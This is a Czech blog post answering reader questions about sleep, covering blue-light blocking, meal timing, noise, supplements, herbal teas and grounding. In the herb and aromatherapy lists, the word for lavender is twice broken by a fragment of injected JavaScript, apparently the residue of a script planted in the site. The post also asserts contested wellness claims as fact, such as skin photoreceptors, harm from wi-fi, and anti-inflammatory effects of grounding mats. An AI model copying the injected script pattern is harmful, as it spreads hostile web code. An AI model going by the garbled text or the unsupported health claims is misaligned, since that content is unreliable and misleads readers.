Otázky a odpovědi #1: Spánek

První videolog je na světě a s ním i odpovědi na vaše otázky z Instagramu.
Jak moc je spánek důležitý pro vaše zdraví? No úplně nejdůležitější!
A věřte, že každý máme možnost pracovat na jeho kvalitě. Právě na to, co a jak spánek ovlivňuje, jak jít naproti jeho zlepšení a na co si dát naopak pozor, byly vaše nejčastější dotazy.

Videolog o spánku je mou první zkušeností s tímto způsobem předávání informací, věřím ale, že pro mnoho z vás bude poslech informací jednodušší, než jejich četba, tak jako tak může být příjemným zpestřením. Video jsem natáčela najednou, bez následného střihu, promiňte mi tedy případné zaškobrtnutí :). V textu pod videem najdete zpracované jednotlivé otázky, u některých bude možná i malé doplnění či dovysvětlení nad rámec toho, co říkám ve videu.

Proč spíme a proč je spánek tak důležitý?

Spánek je nezbytnou součástí našeho cirkadiánního rytmu – zhruba 24-hodinového cyklu, který se synchronizuje zejména podle světelných podmínek, podle střídání dne a noci, podle našeho bdění a spaní.

Během spánku dochází v organismu k potřebným opravným procesům, zvyšuje se míra regenerace, obecně by šlo říci, že každou noc jsme podrobeni generální kontrole, seřízení a úklidu. Současně s těmito procesy je ale spánek důležitý i pro integraci naší psychiky, osobnosti a pro ukládání informací do paměti. Tohle všechno ve spánku dokážeme, tedy za předpokladu, že bude spánek kvalitní a budou dodrženy určité podmínky, v opačném případě se o potenciál spánku výrazně ochuzujeme.

Ve spánku totiž hraje důležitou roli melatonin, hormon a antioxidant, který je známý zejména jako hormon spánku. Přímo pro to, abychom spali, ho ale nepotřebujeme. Jeho rolí je právě lví podíl na noční obnově buněk. Jeho sekrece přirozeně začíná po setmění, kdy slunce zapadne a začíná padat tma, resp. ve chvíli, kdy z viditelného spektra slunečního záření začnou mizet modrá a zelená složka.

A zde se dostáváme k jádru věci, protože pro kvalitní spánek a synchronizovaný cirkadiánní rytmus je nutné právě respektování přirozených světelných podmínek. Realita tak ale v drtivé většině případů nevypadá, protože žijeme v době, kdy se dobrovolně (sledování TV, práce na počítači, mobily, mobily, mobily) a nedobrovolně (světelné znečištění) vystavujeme umělému osvětlení v době, kdy už by měla být přirozeně tma. Náš mozek tak skrze oko dostává falešný signál a k sekreci melatoninu nedojde.

Pokud nechcete žít ryze přírodním způsobem života a v tuto chvíli se rozhodnete zanevřít na umělé osvětlení, věřte, že nemusíte zacházet až tak daleko. Modré a zelené světlo totiž stačí blokovat, ať už vhodnými brýlemi s filtrem těchto spekter, nebo ideálně a jednoduše skrze používání osvětlení, které obsahuje pouze červenou světelnou složku.

Faktorů, které náš cirkadiánní rytmus ovlivňují je ale více, mezi ty zásadní patří například příjem potravy, ke kterému by podobně jako k vystavování se osvětlení obsahující modrou a zelenou složku mělo docházet pouze během dne – ideálně za světla.

Problematika spánku a cirkadiánního rytmu má výsostné právo na podrobnější zpracování, což se zde rozhodně bude postupně odehrávat. V tuto chvíli jsou ale podstatné právě výše zmíněné informace, okolo kterých se točily i vaše dotazy.


Otázky a odpovědi

Protože nelze podchytit veškeré možné faktory a alternativy, nelze brát v potaz všechny možné okrajové podmínky ve kterých se nacházíte a způsob života, který vedete, odpovědi jsou koncipovány obecně, ve prospěch spánku. Zkrátka tak, jak je to z pohledu spánku a cirkadiánního rytmu ideální, protože ve chvíli, kdy si uvědomíte, že je třeba je brát jako prioritu pro to, abyste udělali maximum pro své fyzické i psychické zdraví, dost možná začnete ony okrajové podmínky upravovat spíše spánku a ne naopak.

Pokud jsou pro vás tedy navrhovaná opatření momentálně nereálná, zkuste se zamyslet nad tím, jak si svůj denní program v rámci možností upravit a vytvořit tak lepší podmínky pro spánek a synchronizaci CR. Obzvlášť důležité to bude ve chvíli, kdy se potýkáte s chronickými zdravotními problémy jakéhokoli charakteru a bude potřeba začít tělo a ducha opravovat od základů.

Usnutí do třiceti minut od blokace modrého světla, následné probuzení ve 2:00 s brýlemi na nose
  • usnutí brzy od blokace modrého světla je kýženým efektem zvýšené sekrece melatoninu.
  • důvod nočního buzení? Pokud se buzení opakuje a je doprovázeno například pocením, zvýšeným tepem, potřebou močení a následným problémem s usnutím, bude třeba hledat příčinu v jiných orgánových soustavách.
  • alternativně zkusit místo brýlí používat červené žárovky a zjistit, jestli je buzení způsobeno pouze otlačeným nosem.
Na čem nejlépe spát pro kvalitní spánek?
  • krokem k lepšímu bude vždy zařazení přírodních materiálů – možno opatřit japonský futon.
  • tvrdost matrace je individuální záležitost – nutno vyzkoušet a pečlivě vybrat.
  • důležitá je ale také kvalita materiálu ložního prádla a pyžama, včetně přípravků, ve kterých je perete! Tento aspekt bude mít dle mého názoru ještě větší váhu.
Jaká by měla být večeře před spaním?
  • zařazená ideálně ještě za světla, případně cca 3 hodiny před spaním.
  • lehká, v rámci denních jídel nejstřídmější, možností je i její vynechání, pro více souvislostí koukněte sem
  • složená ze zeleniny, lehce stravitelné bílkoviny (světlé maso, ryby), nenasycených tuků (kvalitní rostlinné oleje) a menšího množství kvalitních komplexních sacharidů.
Psychika a spánek? Názor na snění?
  • spánek a psychika jsou vzájemně propojeny, jedno se zhoršuje úměrně zhoršení toho druhého.
  • snění je do velké míry odrazem našeho nevědomí, toho co se děje uvnitř.
  • schopnost snít a sny si pamatovat závisí na mnoha faktorech, zejména na architektuře spánku, množství acetylcholinu, ale také propojení sama se sebou.
  • více informací najdete v tomto příspěvku.
Jak nejlépe optimalizovat spánek při nepravidelném pracovním rozvrhu?
  • záleží na míře jeho nepravidelnosti – pokud se nejedná o práci v třísměnném provozu, prakticky vždy lze najít cestu.
  • primární je stanovení doby ulehnutí a spánku a doby vstávání – tyto časy budou dávat jasný signál o střídání dne a noci, aktivitě a odpočinku.
  • eliminovat noční práci a postupně najít stabilní rytmus.
  • respektovat světelné podmínky a blokovat modré světlo po setmění, potravu přijímat pouze v obvyklý čas a ne během doby, kdy už byste normálně spali.
  • občasné narušení není následně problém.
Jaký vliv mají sacharidy na spánek? Když sním na noc např. krupicovou kaši, projeví se negativa. Proč?
  • z pohledu mnoha přístupů a tradičních škol není konzumace sacharidů na noc vhodná, zejména s ohledem na orgánové hodiny a během dne klesající glukózovou toleranci.
  • prudké zvýšení glykémie a následná inzulinová odezva zatíží metabolismus na určitý čas, po jehož uplynutí může dojít k probuzení (potřeba vybít přijatou energii, vzestup kortizolu apod.).
  • nejsou ale sacharidy jako sacharidy, vhodně zvolené komplexní sacharidy v kombinaci s dalšími makroživinami s rozumným odstupem od spánku budou vždy mnohem vhodnější, než samotné sacharidy a jednoduché cukry zkonzumované krátce před ulehnutím.
Stačí k blokaci modrého světla pouze brýle, když mám fotosenzorické body i na těle?
  • obecně ne, proto je vhodnější používat červené osvětlení, případně nevystavovat povrch těla umělému osvětlení s modrou a zelenou složkou (pokud se chcete dívat na televizi, oblečte se na to a nechoďte po setmění do solárka..). Je také možné kombinovat obojí.
  • blokace pomocí brýlí bude ale vždy lepší, než blokace žádná, její efekt byl zaznamenán v mnoha vědeckých i případových studiích. Koukněte třeba sem.
Všichni mluví o světelné hygieně, co ale hluková hygiena? Jaký má hluk na spánek vliv?
  • zvuk je stejně jako světlo vnímán i během spánku a má na něj vliv, roli hraje jak nízká hladina hluku a vibrace (vzdálená doprava apod.), tak intenzivní hluk (hlasitá hudba, opilý soused apod.).
  • dochází k narušení architektury spánku, spánek nebude tak hluboký.
  • na vině je vyšší míra stresu a aktivace organismu (je více ve střehu).
  • eliminace – bílý šum, zvuky přírody, špunty do uší, v nejzazším případě hledání lepšího a klidnějšího místa pro život.
Jaké suplementy mohou na noc vadit?
  • z pohledu cirkadiánního stravování a potřeby být na noc na lačno (nejen z pohledu trávení, ale i dalších orgánů, jako jsou například játra) a vhodným prvním korkem může být vyřazení všech suplementů, které byste zařazovali po večeři.
  • z pohledu přímého účinku a efektu na spánek jsou nevhodné veškeré energizující a excitační látky, těch je mnoho (z bylin to bude třeba lékořice), jako zásadní ale vnímám tyto tři:
    • Kofein – a to i ve chvíli, kdy vás káva subjektivně nenakopne. Jeho příjem vede ke zvýšení kortizolu, dopaminu i adrenalinu, přímo narušuje cirkadiánní rytmus.
    • Nikotin – sám o sobě energizující, zapojuje se přímo do tvorby energie v mitochondriích.
    • Alkohol – váže se na GABAA receptory, které mohou mít v některých případech spíše excitační účinek. Po alkoholu sice můžete instantně usnout, výrazně se ale ochudíte o potřebnou architekturu spánku, dochází k problémům s ukládáním paměti, ani nemluvě o jeho celkovém negativním dopadu na zdraví. Uznávám, že tento bod vyznívá ve videu trochu zmateně 🙂
Byliny, bylinné směsi a aromaterapie pro podporu spánku?
  • vhodné obecně pro zklidnění:
    • heřmánek – vhodný pro zklidnění a produkci GABA, navíc podporuje sliznice
    • meduňka – tiší nervy a podporuje trávení
    • dobromysl – má velmi podobný efekt jako meduňka
    • levandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andule – snižuje kortizol, uvolňuje a podporuje výslednou chuť nálevu
    • jahodník, ostružiník, maliník – do směsí, pro chuť a doplnění
  • při úzkostech a nervovém vypětí:
    • kozlík lékařský – tinktura nebo extrakt
    • chmel – vhodný spíše pro ženy kvůli jeho estrogenním účinkům
    • bazalka posvátná (tulsi)
  • ve specifických případech lze zařadit i byliny a směsi pro zacílení na srdeční činnost, nelze tak ale činit bez individuálního přístupu a konzultace.
  • bylinné směsi není nikdy vhodné užívat těsně před spaním a dlouhodobě.
  • Aromaterapie – v tomto případě je vhodná skrze masáže, koupele, sprchy
    • levandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andule, růže
    • jehličnany – borovice, smrk, cedr
    • benzoe, patchouli, palo santo, santal apod.
Proč se tak dobře spí pod širákem? Vliv groundingu na spánek?
  • Jedná se o přiblížení k přirozenému prostředí a podmínkám:
    • absence světelného a hlukového smogu
    • méně EMF, absence wi-fi
    • čerstvý vzduch, dostatek kyslíku
    • obvykle i nižší teplota
    • kontakt se zemí – ale hodně záleží na čem a v čem venku spíte
  • kontakt se zemí, nebo jeho napodobení skrze uzemňovací podložku má vliv na zlepšení spánku skrze:
    • snížení míry oxidativního stresu
    • snížení tělesné zánětlivosti
Co dělat, když musím na ranní směnu vstávat ve 4:00?
  • přizpůsobit tomu dobu ulehnutí a spánku a vytvořit stabilní čas pro spánek.
  • zařadit ranní rutinu pro ukotvení CR, snídani zařadit podle síly trávení – není problém jí posunout až po východu slunce.
Problém s opětovným usnutím po nočním vstávání k miminku, jak to eliminovat?
  • používat červené osvětlení, ideálně noční lampičku, jejíž světlo nebude mít tak negativní vliv (menší, než šok, který vyvolá modrá složka běžného osvětlení).
  • dbát na světelnou hygienu už večer po setmění a „snažit“ se o to, aby se miminko co nejrychleji sesynchronizovalo s vámi.

Napsat komentář

Vaše e-mailová adresa nebude zveřejněna. Vyžadované informace jsou označeny *